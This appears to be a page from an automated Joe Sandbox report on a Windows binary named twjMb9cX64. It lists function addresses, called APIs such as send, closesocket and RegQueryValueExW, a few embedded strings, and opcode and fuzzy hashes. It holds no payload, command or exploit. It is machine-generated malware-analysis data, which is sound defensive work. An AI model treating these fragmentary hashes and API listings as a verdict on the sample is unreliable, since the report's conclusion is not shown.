API String ID: 3510742995-2043925204
Opcode ID: 9395cafdb9ccd82632f568d5e629ec316ff80b7956f40027f838d8cf6b572b9e
Instruction ID: 87bf13c02841b9267a2ba08f77747f787c3a1aa17a34fac549bdaa0320e0ab4f
Opcode Fuzzy Hash: 9395cafdb9ccd82632f568d5e629ec316ff80b7956f40027f838d8cf6b572b9e
Instruction Fuzzy Hash: 163184A2B0C69192EA14EB12DD00BADAB64FF0ABC4F444431EF5D17B42CF7DE5629314

Function 00007FF70FA71FE7 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 235COMMON

Download Yara Rule

APIs

00007FF8C5E31C80.SECUR32 ref: 00007FF70FA72146

Strings

assertion failed: pos <= self.dec_in.get_ref().len() as u64, xrefs: 00007FF70FA723B2

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: 00007
String ID: assertion failed: pos <= self.dec_in.get_ref().len() as u64
API String ID: 3568877910-2093299206
Opcode ID: d128d97a9d1599960ddb5c2f2282685a89d2de18474a1bcd63e45d318c650963
Instruction ID: f7741045c7bea877c7d0e0b6123665b502fc64dff861104f396c5a6ccfefe055
Opcode Fuzzy Hash: d128d97a9d1599960ddb5c2f2282685a89d2de18474a1bcd63e45d318c650963
Instruction Fuzzy Hash: A6A193A2A1C7C296EA64EB25DD40BFAA3A0FF46784F804035DE8D53B95CF3CE4559B10

Function 00007FF70FA76367 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA76482

Strings

tcp connect error, xrefs: 00007FF70FA765E8

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: tcp connect error
API String ID: 3510742995-3983906501
Opcode ID: f288ae435f59bfe906917340edcfa1de95b8fd63a11cb4368f92422a2e42819a
Instruction ID: fd5046d99f07e1a6c7d9a22bdc3a05d56d205433eefa5e6e6a5d21985ca5a38b
Opcode Fuzzy Hash: f288ae435f59bfe906917340edcfa1de95b8fd63a11cb4368f92422a2e42819a
Instruction Fuzzy Hash: 20917F62A0CBC680E671DB25D801BFDA360EF96784F845131CE8D17B9ADF38E586C720

Function 00007FF70FA6EFCA Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA6F189

Strings

httpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs, xrefs: 00007FF70FA6EFF7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: httpswswssfile:///home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/url-2.5.4/src/parser.rs
API String ID: 3510742995-4070119228
Opcode ID: da5ce29f6e599bb263210e2fca266e74d41b8a8b24c29323a90f6c14c002bb84
Instruction ID: e83147a570ed5573c613c42588112ceffdb5a7d591812f987db63c3c56e07a05
Opcode Fuzzy Hash: da5ce29f6e599bb263210e2fca266e74d41b8a8b24c29323a90f6c14c002bb84
Instruction Fuzzy Hash: 7F51E152B0DAC186E660AB25E9047EDA7A1FF8A790F858131DE9D13B95EF3CE185C310

Function 00007FF70FADCB70 Relevance: 3.1, APIs: 2, Instructions: 111threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF70FADCC11
SetThreadStackGuarantee.KERNEL32 ref: 00007FF70FADCCAB

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorGuaranteeLastStackThread
String ID:
API String ID: 2304615615-0
Opcode ID: d19db87420b3ae64c00c376f5e3f1320ac30a354db2fca92577c7a4ec3349c88
Instruction ID: 742d06d398e7de28cdce265c57c64062ac839ccb9802c1b589abb1db0d9e28e4
Opcode Fuzzy Hash: d19db87420b3ae64c00c376f5e3f1320ac30a354db2fca92577c7a4ec3349c88
Instruction Fuzzy Hash: E24171A571C68141EB14FA22E9557F9A351EF4ABD4F888031EE8E07789DF3CD4468320

Function 00007FF70FAE9D24 Relevance: 3.1, APIs: 2, Instructions: 108networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 00007FF70FAE9DCB
WSAGetLastError.WS2_32(?,?,00000000,?,?,00007FF70FA715E9), ref: 00007FF70FAE9DE0

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorLastsend
String ID:
API String ID: 1802528911-0
Opcode ID: f1a725beafd0e04ec370dc07ae0b3362039b5fb250cf00844e8365f869c33a75
Instruction ID: 1ddc47132fff8a4b1416f0d1aae748c0dfb5d683eee15f2faeb8aa395bbbce33
Opcode Fuzzy Hash: f1a725beafd0e04ec370dc07ae0b3362039b5fb250cf00844e8365f869c33a75
Instruction Fuzzy Hash: 193119A260C7C185DA60B6159C41AFFA765EF86BA8F940132EE9D077D6CF3CD4428310

Function 00007FF70FAB9D80 Relevance: 3.1, APIs: 2, Instructions: 99COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00007FF70FAB9D6A), ref: 00007FF70FAB9DC7
RtlWakeAddressSingle.NTDLL ref: 00007FF70FAB9EAA

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: AddressSingleValueWake
String ID:
API String ID: 741412973-0
Opcode ID: 0e2218c593c0c5486fb22acf7a58abfa61246a69673f3ee0142d34c5ec7631f1
Instruction ID: fadaf086669821cb1bee334f889865ba7d713b0722c8f1fc7a9c73c4411813f0
Opcode Fuzzy Hash: 0e2218c593c0c5486fb22acf7a58abfa61246a69673f3ee0142d34c5ec7631f1
Instruction Fuzzy Hash: FC513862D0C7C299FB41BB349C557FAA3A2EF1A758FC84134D65D466D2DF2C68888B30

Function 00007FF70FAAFAF6 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70FAB9AB0: TlsGetValue.KERNEL32(?,?,00000000,?,00007FF70FA34804), ref: 00007FF70FAB9ADB

memcpy.MSVCRT ref: 00007FF70FAAFB72

Strings

main, xrefs: 00007FF70FAAFB39

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: Valuememcpy
String ID: main
API String ID: 574835123-3207122276
Opcode ID: 3019d936b754358c40ebfc04060f98b5aeae0bc698143da6eded2f10bd36edac
Instruction ID: 44af0ff2b14fbfffb8fb4f2aafbb31bb2baccd1e01b29ab8e081653c1a598721
Opcode Fuzzy Hash: 3019d936b754358c40ebfc04060f98b5aeae0bc698143da6eded2f10bd36edac
Instruction Fuzzy Hash: 153195B2A1DB8285EB15EB21E9507FDA320EF96744F908031EA4D07796DF3CE596C350

Function 00007FF70FADCD10 Relevance: 3.1, APIs: 2, Instructions: 62threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00007FF70FADCDA8
SetThreadDescription.KERNELBASE ref: 00007FF70FADCDBA

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: Thread$CurrentDescription
String ID:
API String ID: 654298328-0
Opcode ID: 5cbf942fb1f3ea6dd19961bb2546fa0822697178fe1b185835995e77d29ec933
Instruction ID: 58af45340033dd24a51d422bb4920ea42508f06a43eadd3de6c1d1edb703a434
Opcode Fuzzy Hash: 5cbf942fb1f3ea6dd19961bb2546fa0822697178fe1b185835995e77d29ec933
Instruction Fuzzy Hash: 7F1184A6B1D69144FB00E752D904BFCA761EF4ABD4F848432DE4D17788DF28D486C310

Function 00007FF70FAB9C50 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?,?,-00000008,0000018F767813A0,00000000,-00000006,?,?,?,00007FF70FA34851), ref: 00007FF70FAB9D09
RtlWakeAddressAll.NTDLL ref: 00007FF70FAB9D18

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: AddressWakeclosesocket
String ID:
API String ID: 947748948-0
Opcode ID: 3b7686c9af0f1410b6fca7c5dd1d00d4a32a176094ff922c3b08e90a18bdf319
Instruction ID: 121f559cfee821c16c4fdf6de66047fc96b7089aa5714d9fc418b2f92f10622c
Opcode Fuzzy Hash: 3b7686c9af0f1410b6fca7c5dd1d00d4a32a176094ff922c3b08e90a18bdf319
Instruction Fuzzy Hash: 33F0E973B192624FFB16CBB8AC506EE23E0EB4579DB448035CF4A5B645DF389482C750

Function 00007FF70FAB9CC0 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?,?,-00000008,0000018F767813A0,00000000,-00000006,?,?,?,00007FF70FA34851), ref: 00007FF70FAB9D09
RtlWakeAddressAll.NTDLL ref: 00007FF70FAB9D18

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: AddressWakeclosesocket
String ID:
API String ID: 947748948-0
Opcode ID: c60c5ea1a025c9606262a3a6a2d02e2ffb98c54366750624b8789273fd690552
Instruction ID: 44009af40ac2884badf38f382b97cdb97cc8c452902faa3d19d0a0052e135805
Opcode Fuzzy Hash: c60c5ea1a025c9606262a3a6a2d02e2ffb98c54366750624b8789273fd690552
Instruction Fuzzy Hash: 55F06D73E2876189FB02DBB4A8847EC6370BB0A35CF908231DE4A26A45DF3891858710

Function 00007FF70FA33550 Relevance: 2.6, APIs: 2, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70FAB00C4: memcpy.MSVCRT ref: 00007FF70FAB011F

memcpy.MSVCRT ref: 00007FF70FA3366D
memset.MSVCRT ref: 00007FF70FA33853

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: 589648af8bb89fd1d9f0778b138b6a01a750ae4199d35be784327c334dd3f2d1
Instruction ID: 55145d8f7cfb1520b31ecf9186bb13f4d3fd5b4cdebbbeca8e11e7c3dd958a26
Opcode Fuzzy Hash: 589648af8bb89fd1d9f0778b138b6a01a750ae4199d35be784327c334dd3f2d1
Instruction Fuzzy Hash: 315161A2A1CAC181EA70EB01E8507EBA360FF85B80FC44432EA8D47799DF7CE545CB10

Function 00007FF70FA375D0 Relevance: 2.6, APIs: 2, Instructions: 129COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA3763D
memcpy.MSVCRT ref: 00007FF70FA376B3

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: b27530e34ac4b0e5beecefe881ff4cbb7dce9a69906ecf3151b3595db0344d17
Instruction ID: 766559d1d0472e4cdf7a5d1737fe06258f4125fc0bbb2e59f0f5a92fbd38e91a
Opcode Fuzzy Hash: b27530e34ac4b0e5beecefe881ff4cbb7dce9a69906ecf3151b3595db0344d17
Instruction Fuzzy Hash: 57418CB2B09B8682DE10AF26E9406A9A361FF19BD4F948431DF8D1B751DF3CE1618350

Function 00007FF70FA7472D Relevance: 2.5, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA7476F
memcpy.MSVCRT ref: 00007FF70FA74792

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: a40b484d13ae9268a37b68804437f53f9b76e5bfb722a81d8ca6dbfd96284331
Instruction ID: 8ee481b17c269ae47474e80ed0bd6dfdaa6f26b6dca1ca93091bbfc6eb8df812
Opcode Fuzzy Hash: a40b484d13ae9268a37b68804437f53f9b76e5bfb722a81d8ca6dbfd96284331
Instruction Fuzzy Hash: DC0125B6A1C74281EA21AE11FD41BFE9251EF5A7D4F844031DE8A06786DF7CD1858711

Function 00007FF70FAA4C77 Relevance: 1.5, APIs: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32 ref: 00007FF70FAA4C9C

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 490f67959b539a6a8c14bc80702adb5266d479afe512c1f33b363972a4826664
Instruction ID: 94cfe09b8151b48fe2c4d4eb77640092f58d811f1c62c1c6fddd47fa2447f160
Opcode Fuzzy Hash: 490f67959b539a6a8c14bc80702adb5266d479afe512c1f33b363972a4826664
Instruction Fuzzy Hash: 6601D6736193428BE721DF11F55177BF2A0FB45364F508035DF8A46A90DB7DD0858B50

Function 00007FF70FAE9CD6 Relevance: 1.5, APIs: 1, Instructions: 22networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FF70FAE9D11

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 61e21451854f550bc479977872af3fd74ffcd2a0368eb421c00357c315e4ac1c
Instruction ID: a1ff452ed6c581797d77d59aeae2003f914ffb89b684f10fe3ea414623970d29
Opcode Fuzzy Hash: 61e21451854f550bc479977872af3fd74ffcd2a0368eb421c00357c315e4ac1c
Instruction Fuzzy Hash: F9E0D8E2B1C2814AFB60B6718881BBAB250DF99344FA00931DA5C4B3C1DF3CD1558730

Function 00007FF70FAE3301 Relevance: 1.5, APIs: 1, Instructions: 14timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32 ref: 00007FF70FAE3323

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 849a7a62de74121fb1dfb7ed907788942277fff053aa98445f237a4cd1344be3
Instruction ID: 67b70a6e58bf61f3b8fc843a8639fd518a167279605a07e1e9697f432609d60b
Opcode Fuzzy Hash: 849a7a62de74121fb1dfb7ed907788942277fff053aa98445f237a4cd1344be3
Instruction Fuzzy Hash: 40D01773A38BD482E711AB15B0417E9A324EB407C0F818122EBC91F788CB3CC6AAC744

Function 00007FF70FA33898 Relevance: 1.3, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF70FA33853

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: cfd8b4d2dccaf48d70bf23d40daa888add7278f268b505d6c1c3ae0f8428bfa4
Instruction ID: a36aab00bbc9b8092a18dd99f5620a15a088e65166f533e9c856145431701f7d
Opcode Fuzzy Hash: cfd8b4d2dccaf48d70bf23d40daa888add7278f268b505d6c1c3ae0f8428bfa4
Instruction Fuzzy Hash: ED316F95B1DAD185EE70AA12A9107FBA690FF467D0F844532ED9D47BC9DF3DE0018720

Function 00007FF70FAE3FAC Relevance: 1.3, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF70FAE4065

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 5bf649e94f9f73c620b5060cbfba9e778877c69fbf07243dc28e546b191b1221
Instruction ID: 5553af464cfe6c94b0b196d8fdcf402eb085e59f121deef833a2f6f4f90bafca
Opcode Fuzzy Hash: 5bf649e94f9f73c620b5060cbfba9e778877c69fbf07243dc28e546b191b1221
Instruction Fuzzy Hash: FD2101A1B1E28902ED04EA12AC157B68588EF967F4E940B35DE3E0A3C0EF7C9141C210

Function 00007FF70FA338DE Relevance: 1.3, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF70FA33853
memcpy.MSVCRT ref: 00007FF70FA33C23
memcpy.MSVCRT ref: 00007FF70FA33CBA
GetLastError.KERNEL32 ref: 00007FF70FA344C8
GetLastError.KERNEL32 ref: 00007FF70FA34532
GetLastError.KERNEL32 ref: 00007FF70FA3459C
GetLastError.KERNEL32 ref: 00007FF70FA34606
GetLastError.KERNEL32 ref: 00007FF70FA34670
GetLastError.KERNEL32 ref: 00007FF70FA346DA

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
